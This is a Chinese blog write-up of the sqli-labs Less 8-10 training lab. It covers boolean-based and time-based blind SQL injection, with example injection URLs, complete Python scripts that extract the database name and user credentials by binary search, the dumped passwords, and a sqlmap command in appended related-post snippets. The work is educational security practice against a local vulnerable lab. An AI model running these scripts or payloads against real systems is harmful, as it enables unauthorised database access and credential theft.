sqli-labs less8-10

最新推荐文章于 2024-07-25 19:06:13 发布
原创 最新推荐文章于 2024-07-25 19:06:13 发布 · 467 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#Web安全 #SQL注入

LESS 8 基于布尔的盲注

盲注就是在sql注入过程中，sql语句执行的选择后，选择的数据不能回显到前端页面。此时，我们需要利用一些方法进行判断或者尝试，这个过程称之为盲注。盲注分为好几种，本关采用基于布尔的盲注

盲注相关函数：

  • mid(column_name,start[,length])

  •  select mid(12345,2,3);
+----------------+
| mid(12345,2,3) |
+----------------+
| 234            |
+----------------+

  • substr(string, start, length)/substring(string, start, length)

    • 这两个函数的作用和mid函数是相同的 
    • select substr((select username from users limit 0,1),2);
+--------------------------------------------------+
| substr((select username from users limit 0,1),2) |
+--------------------------------------------------+
| umb                                              |
+--------------------------------------------------+
  • Left(string, n)
    • 从左到右截取string的前n位
  • ascii(string)
    • 返回第一个字符的ascii码值
  • ord(string)
    • 若string第一个字符是单字节字符，则作用和ascii函数相同
    • 若其为多字节，则返回如下格式：
      ((first byte ASCII code)*256+(second byte ASCII code))[*256+third byte ASCII code…]
  • length(string)
    • 返回字符串的长度

回到本关，先输入单引号和双引号进行测试，发现单引号没有返回信息，于是判断参数是被单引号包围,构造payload测试数据库名的第一个字符:

http://localhost/sqli-labs-master/Less-8/?id=1' and ascii(substr(database(),1))=1%23

无返回结果，对数据库名的每一个字符都作类似的测试，由于测试量较大，使用脚本来完成测试：

from urllib import request
from urllib import parse
import re

url =  "http://localhost/sqli-labs-master/Less-8/?id="

def  length():
    "查询数据库名的长度"
    length =  0
    while  True:
        #构造动态参数并用quote函数进行url编码
        param =  "1' and length(database())="+str(length)+"#"
        response = request.urlopen(url + parse.quote(param)).read().decode()
        #匹配成功代表长度正确
        if (re.search("You are in...........", response)):
            return length
        #失败则加1继续循环
        else:
            length +=  1
    
def  database():
"查询数据库名"
    dbname =  ""
    for n in  range(length()):
    #对128个ascii码值进行遍历并构造动态参数
        for a in  range(128):
            param =  "1' and ascii(substr(database(),"  +  str(n+1) +  "))="  +  str(a) +  "#"
            response = request.urlopen(url + parse.quote(param)).read().decode()
            if (re.search("You are in...........", response)):
                dbname = dbname +  chr(a)
                break
    return dbname
    
print(database())

 

输出结果为security
对于函数database()可以采用时间复杂度更低的二分法：

def  database():
"查询数据库名"
    dbname =  ""
    for n in  range(length()):
        a, b =  64, 64
        #使用二分法构造动态参数
        while  True:
            b =  int(b/2)
            param =  "1' and ascii(substr(database(),"  +  str(n+1) +  "))<"  +  str(a) +  "#"
            response = request.urlopen(url + parse.quote(param)).read().decode()
            if (re.search("You are in...........", response)):
                a -= b
            else:
                param =  "1' and ascii(substr(database(),"  +  str(n+1) +  "))="  +  str(a) +  "#"
                response = request.urlopen(url + parse.quote(param)).read().decode()
                if (re.search("You are in...........", response)):
                    dbname = dbname +  chr(a)
                    break
                else:
                a += b
    return dbname

 

速度噌的就提上去了，数据结构果然还是要学好
之后我对之前的脚本做了一些修改，使其支持参数化查询，最终的盲注脚本如下：

from urllib import request
from urllib import parse
import re

url = "http://localhost/sqli-labs-master/Less-8/?id="

def getLength(value):
    "查询数据库名的长度"
    length = 0
    while True:
        #构造动态参数并用quote函数进行url编码
        param = "1' and length(" + value + ")="+str(length)+"#"
        response = request.urlopen(url + parse.quote(param)).read().decode()
        #匹配成功代表长度正确
        if (re.search("You are in...........", response)):
            return length
        #失败则加1继续循环
        else:
            length += 1

def getName(value):
    "查询数据库名"
    dbname = ""
    for n in range(getLength(value)):
        a = 64
        b = 64
        #使用二分法构造动态参数
        while True:
            b = int(b/2)
            param = "1' and ascii(substr(" + value + "," + str(n+1) + "))<" + str(a) + "#"
            response = request.urlopen(url + parse.quote(param)).read().decode()
            if (re.search("You are in...........", response)):
                a -= b
            else:
                param = "1' and ascii(substr(" + value + "," + str(n+1) + "))=" + str(a) + "#"
                response = request.urlopen(url + parse.quote(param)).read().decode()
                if (re.search("You are in...........", response)):
                    dbname = dbname + chr(a)
                    break
                else:
                    a += b
    return dbname

print(getName("(select group_concat(username) from users)"))
print(getName("(select group_concat(password) from users)"))

 

输出如下，注入成功：

Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

LESS 9 基于时间的盲注

和上一关不同，第八关只要没有查询到就不会显示“You are in………..”,而本关只要id是有值的就会显示“You are in………..”，没有办法通过页面显示的结果来进行盲注，所以要用到一个特殊的函数sleep(),语法如下:

sleep(seconds)        #函数功能即执行延迟seconds秒

 

还要用到的一个函数

if(condition, a, b)        #如果condition成立，则返回a，否则返回b

 

举个栗子，在本关中构造这样一个payload:

http://localhost/sqli-labs-master/Less-9/?id=1' and if(1=1,sleep(3),1)%23

在if函数中，因为1=1当然是成立的，所以执行sleep(3)，所以你会看到网页内容大概在3s后才显示出来，如果表达式不成立，网页就会立即显示出来，而1=1的位置则可以放各种表达式

于是，把上一关的脚本稍微改一下就成了本关的盲注脚本：

from urllib import request
from urllib import parse
from time import time

url = "http://localhost/sqli-labs-master/Less-9/?id="

def getLength(value):
    "查询value长度"
    length = 0
    while True:
        #构造动态参数并用quote函数进行url编码
        param = "1' and if(length("+value+")="+str(length)+",sleep(0.1),1)#"
        t = time()      #time函数获取当前时间戳
        request.urlopen(url + parse.quote(param))
        if (time() - t > 0.1):        #时间间隔大于0.1代表长度正确
            return length
        else:       #失败则加1继续循环
            length += 1

def getName(value):
    "查询value名"
    dbname = ""
    for n in range(getLength(value)):
        a = 64
        b = 64
        #使用二分法构造动态参数
        while True:
            b = int(b/2)
            param = "1' and if(ascii(substr("+value+","+str(n+1)+"))<"+str(a)+",sleep(0.1),1)#"
            t = time()
            request.urlopen(url + parse.quote(param))
            if (time() - t > 0.1):
                a -= b
            else:
                param = "1' and if(ascii(substr("+value+","+str(n+1)+"))="+str(a)+",sleep(0.1),1)#"
                t = time()
                request.urlopen(url + parse.quote(param))
                if (time() - t > 0.1):
                    dbname = dbname + chr(a)
                    break
                else:
                    a += b
    return dbname
    
print(getName("(select group_concat(username) from users)"))
print(getName("(select group_concat(password) from users)"))

结果和上一关是一样的

LESS 10 基于时间的盲注（双引号）

题如其名，只要把上一关绕过用的单引号改成双引号就可以盲注成功，这一关源程序和上一关应该就只是单引号双引号的区别而已

脚本请参照第九关

https://soporbear.github.io/2018/05/28/sqli-labs-less8-10/

sqli-labs靶场Less-8
songling515010475的专栏
08-23 340
1、访问首页，/Less-8/index.php?id=1，这里的传参点是id 探测五步 判断是否是数字形传参 判断是否有单引号闭合 判断是否是双引号闭合 判断是否单引号+括号闭合 判断是否是双引号+括号闭合 分析：这里是单引号闭合，且这里输错SQL语句没有报错和提示，只是不展示数据而己。哪么这里能用到的方式与第7关一样， 2、判断字段数量 http://192.168.60.142:8080/sqlilabs/Less-8/index.php?id=1 ' order b..
sqli-labs less-26 空格绕过
wanggonghanfei的博客
10-13 1138
sqli-labs less-26 空格绕过
sqli-labs(less-8)
墨鱼菜鸡
09-10 428
目录 less-8(布尔盲注)手工 1.判断闭合方式 2.判断数据库个数 3.判断第一个数据库字符长度 4.根据ascii码判断每个库名的具体字符 5.判断security库中表的个数 6.判断security库里第一个表名的长度 7.判断security库里第一个表的第一个字符的ascii值 8.判断security.users表的...
sqli-labs(less8)
m0_68980215的博客
07-08 335
lesson8
sqlilabs—less8
一个普普通通的博客
03-24 902
sqlilabs—less8
sqli-labs Less-8（布尔盲注）
万丈⾼楼平地起，勿在浮沙筑⾼台学艺不精的安全菜鸡，改行回家养猪了，对博客有疑问欢迎留言，看到一定回
02-11 770
布尔盲注其实就是构造一个SQL语句，当语句成立时，页面会返回特点的标识，语句不成立是返回其他，或无数据。因此我们可以构造一个判断语句，利用页面的返回结果来得知判断语句是否正确。 再学习布尔盲注之前，一些常用函数如下： length(): 返回字符串长度。 substr(str, start, len): 截取str，从start开始，截取长度为len。 ascii(): 返回字符串的ascii码。 1、判断共有几个数据库 payload ?id=1' and (select count(schema_na
sqli-labs less1.txt
11-26
sqli-labs less1 sql注入第一题，单引号闭合，详细全程，web注入实验，学习sql注入
Sqli-labs Less32-Less33 宽字节注入
beiweixiaotian66的博客
07-25 985
一丢丢Sqli-labs小练习
Sqli-labs Less18-Less23 HTTP头
beiweixiaotian66的博客
07-25 874
一丢丢Sqli-labs小练习
网络安全-sqlmap实战之sqlilabs-Less8_sqli-labs-master less-8 select from users where
2401_84254087的博客
05-02 240
当我学到一定基础，有自己的理解能力的时候，会去阅读一些前辈整理的书籍或者手写的笔记资料，这些笔记详细记载了他们对一些技术点的理解，这些理解是比较独到，可以学到不一样的思路。网安所有方向的技术点做的整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。观看零基础学习视频，看视频学习是最快捷也是最有效果的方式，跟着视频中老师的思路，从基础到深入，还是很容易入门的。添加–dbms参数,–technique参数。使用-o参数优化,–batch参数进行跳过。
sqli-labs (less-8)
kukudeshuo的博客
03-08 318
sqli-labs (less-8) 输入 http://127.0.0.1/sql1/Less-8/?id=1 #回显正常 http://127.0.0.1/sql1/Less-8/?id=1' #没有任何回显 http://127.0.0.1/sql1/Less-8/?id=1'--+ #回显正常 这里我们可以判断为字符型注入，但是他既没有具体错误回显也没有数据显示，所以这里我们只能选择使用Boolean盲注 http://127.0.0.1/sql1/Less-8/?id=1' and len
SQLi LABS Less-8 布尔盲注
热门推荐
wangyuxiang946的博客
06-27 1万+
SQLi第八关，sqllabs less-8，sqli-labs less8 第一步,判断注入类型 先正常给一个id ?id=1 正常登录 , 提示 you are in 加个单引号' 试试 ?id=1' 没有反应 , 估计是后端报错了 , 但没有返回报错结果 再试试双引号" ?id=1" 又正常登录了 , 看来后端的SQL对单引号没有过滤 接下来验证一下,到底是不是单引号' ?id=1' and false -- a 加个fa...
Sqli-labs之Less-8
→_→
03-30 2869
Less-8 GET-盲注-基于布尔值-单引号 根据题目提示可知这是单引号注入且需要通过盲注进行通关，那么首先利用单引号看一下网页的回显： 测试是否是注入点 发现什么也没有，也就是说网页不会返回任何报错信息，也不会返回其他信息即没有任何回显信息， Less1、5、7、8回显对比 ...
【SQLI-Lab】-Less8
xinyue9966的博客
01-26 453
Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注）前言一、GET字符型注入二、步骤总结 前言 一、GET字符型注入 执行数据库查询，并在回显点展示。 用户可以看到数据库查询出错时的错误语句，就可以观察报错语句分析出查询语句结构，从而构造特殊的payload进行注入，并从回显点中获取想要的信息。 二、步骤 和第7题思路过程一样，不过不需要写入、闭合字段后，开始用burp suite爆，具体过程不再细讲。 盲注爆库长度payload
sql注入系列之Sqli-labs(less-8)
BetsyMyGirl的博客
12-01 1130
判断注入点http://192.168.81.210/sqli/Less-8/?id=1id等于1的时候正常id等于1’的时候页面有改变，因此可以判断存在注入，并且是布尔型盲注判断注入类型输入1 and 1=1 和 1 and 1=2发现页面无变化，可以猜测不是数字型注入，为什么？and 逻辑与当条件表达式两边都为真才是真，有一边为假则是假从下方图中可以发现，当and有一边为假的时候，是没有返回内容的所有我们输入的内容传入到数据库执行的语句就变成了select * from users where id=‘
【网络安全】sqli-labs Less-8 解题详析
等风来
07-23 4127
回显正常，故第一个列名的第一个字符为i。所以emails表的其中一个列名为id。同理得到数据库名称为security。同理得到第一个表名称为emails。回显正常，说明第一个字符为e。为3时回显正常，说明列数为3。回显正常，说明有四个表。得到第一个表名称长度为6。故该列第一个字段长度为1。获取该字段中的第一个字符。得到第一个列名长度为2。故数据库名称长度为7。同理：第二个字符为d。
【sqli-labs】Less 8——布尔盲注
用博客做做记录的小白
07-04 659
sqli-labs靶场的第8关，使用布尔盲注的方式进行解题。
sql-lab教程Less-8
Brucye
03-23 767
less-8 sqli-lab通过各种方式（整型注入，字符注入，报错注入，布尔盲注，时间盲注，堆叠注入…）爆出库表字段拿到字段值。 此关运用布尔盲注 学习sqli注入必备语句： 查库：select schema_name from information_schema.schemata 查表：select table_name from information_schema.tables where table_schema=‘security’（此处拿security库为例） 查字段：selec
sqli-labs Less-8
qq_42630215的博客
03-13 1585
Less-8 Get - Blind -Boolian Based -Single Quotes 1.原页面 2.?id=1 3.?id=1’ 4.尝试布尔盲注 代码存在sql注入漏洞，然而页面既不会回显数据，也不会回显错误信息，我们可以通过构造语句，来判断数据库信息的正确性，再通过页面的“真”和“假”来识别我们判断的是否正确 ?id=1’ and (length(database()))&gt...
sqli-labs less8
最新发布
08-19
sqli-labs 平台的 Less-8 关卡是一个典型的布尔盲注（Boolean-based Blind SQL Injection）场景。该关卡没有明确的回显信息，攻击者需要通过页面返回的布尔状态（正常或异常）来判断注入语句是否执行成功，从而逐步推断数据库信息。 ### 解题思路 在 Less-8 中，注入点位于 `id` 参数，使用单引号 `'` 作为闭合方式。注入点的基本形式为： ```http http://localhost/sqli-labs/Less-8/?id=1' ``` #### 1. 判断注入点是否存在 尝试构造布尔表达式来验证注入点是否有效。例如： ```http http://localhost/sqli-labs/Less-8/?id=1' AND 1=1 --+ ``` 如果页面正常显示内容，则说明布尔表达式为真时页面正常；再尝试： ```http http://localhost/sqli-labs/Less-8/?id=1' AND 1=2 --+ ``` 如果页面无内容或出现错误，则确认存在布尔盲注漏洞。 #### 2. 猜解数据库名称长度 通过 `LENGTH(database())` 函数判断当前数据库名称的长度： ```http http://localhost/sqli-labs/Less-8/?id=1' AND LENGTH(database()) > 5 --+ ``` 逐步调整数值，确定数据库名称的具体长度。 #### 3. 猜解数据库名称 使用 `SUBSTR()` 和 `ASCII()` 函数逐字符判断数据库名称： ```http http://localhost/sqli-labs/Less-8/?id=1' AND ASCII(SUBSTR(database(),1,1)) > 97 --+ ``` 通过二分法逐步缩小字符范围，最终确定数据库名称。 #### 4. 猜解表名 假设已知数据库名为 `security`，可以使用以下语句获取表名： ```http http://localhost/sqli-labs/Less-8/?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1)) > 97 --+ ``` 逐字符获取表名，直到完整识别出目标表（如 `users`）。 #### 5. 猜解列名 获取 `users` 表的列名： ```http http://localhost/sqli-labs/Less-8/?id=1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='users' AND table_schema='security' LIMIT 0,1),1,1)) > 97 --+ ``` 逐字符获取列名，如 `username`、`password` 等。 #### 6. 获取数据 最后，获取具体字段的数据，例如用户名和密码： ```http http://localhost/sqli-labs/Less-8/?id=1' AND ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1),1,1)) > 64 --+ ``` 重复上述步骤，逐字符提取敏感信息。 ### 自动化工具辅助 在实际渗透测试中，可以使用如 **sqlmap** 等工具自动完成上述过程。例如： ```bash sqlmap -u "http://localhost/sqli-labs/Less-8/?id=1" --batch --risk=3 --level=5 --dbs ``` 该命令可自动探测数据库信息，并提取表名和字段内容。 ### 注意事项 - 所有操作应在合法授权范围内进行，避免非法入侵。 - 布尔盲注效率较低，建议结合延时注入（Time-based Blind SQL Injection）提升速度。 - 部分 WAF（Web Application Firewall）可能拦截敏感关键字，需对注入语句进行编码或绕过处理。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值